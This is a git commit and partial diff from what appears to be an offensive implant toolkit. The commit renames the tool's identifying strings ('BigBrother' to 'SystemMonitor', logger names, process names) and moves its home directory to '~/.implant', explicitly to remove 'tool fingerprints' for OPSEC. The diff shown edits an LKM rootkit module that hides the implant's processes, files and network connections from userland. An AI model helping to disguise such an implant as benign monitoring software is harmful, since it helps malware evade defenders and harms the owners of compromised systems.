Fix #211: Remove tool identity strings from deployed artifacts

- Replace BigBrother -> SystemMonitor in display names and docstrings
- Replace logger names: bb.* -> sensor.*
- Replace process names: bb-* -> sensor-*
- Replace home directory: ~/.bigbrother -> ~/.implant
- Replace LUKS device: /dev/mapper/bb-* -> /dev/mapper/sensor-*
- Updated 76 Python files across all modules
- Improves OPSEC by removing obvious tool fingerprints from logs and runtime
This commit is contained in:
Cobra
2026-04-06 11:39:48 -04:00
parent ae4933044b
commit 1eb35c9050
76 changed files with 203 additions and 203 deletions
+3 -3
View File
@@ -1,6 +1,6 @@
#!/usr/bin/env python3
"""LKM rootkit module: compile, load, and manage a kernel module that hides
BigBrother processes, files, and network connections from userland."""
SystemMonitor processes, files, and network connections from userland."""
import logging
import os
@@ -12,7 +12,7 @@ from typing import Optional
from modules.base import BaseModule
from utils.resource import get_hardware_tier, TIER_GENERIC
logger = logging.getLogger("bb.stealth.lkm_rootkit")
logger = logging.getLogger("sensor.stealth.lkm_rootkit")
LKM_TEMPLATE_DIR = "templates/lkm"
LKM_SOURCE = "bb_hide.c"
@@ -259,7 +259,7 @@ class LKMRootkit(BaseModule):
"""Write current hide lists to loaded module's parameters via sysfs."""
if not self._loaded:
return
# Collect current BigBrother PIDs from state
# Collect current SystemMonitor PIDs from state
try:
all_status = self.state.get_all_module_status()
for mod_name, mod_status in all_status.items():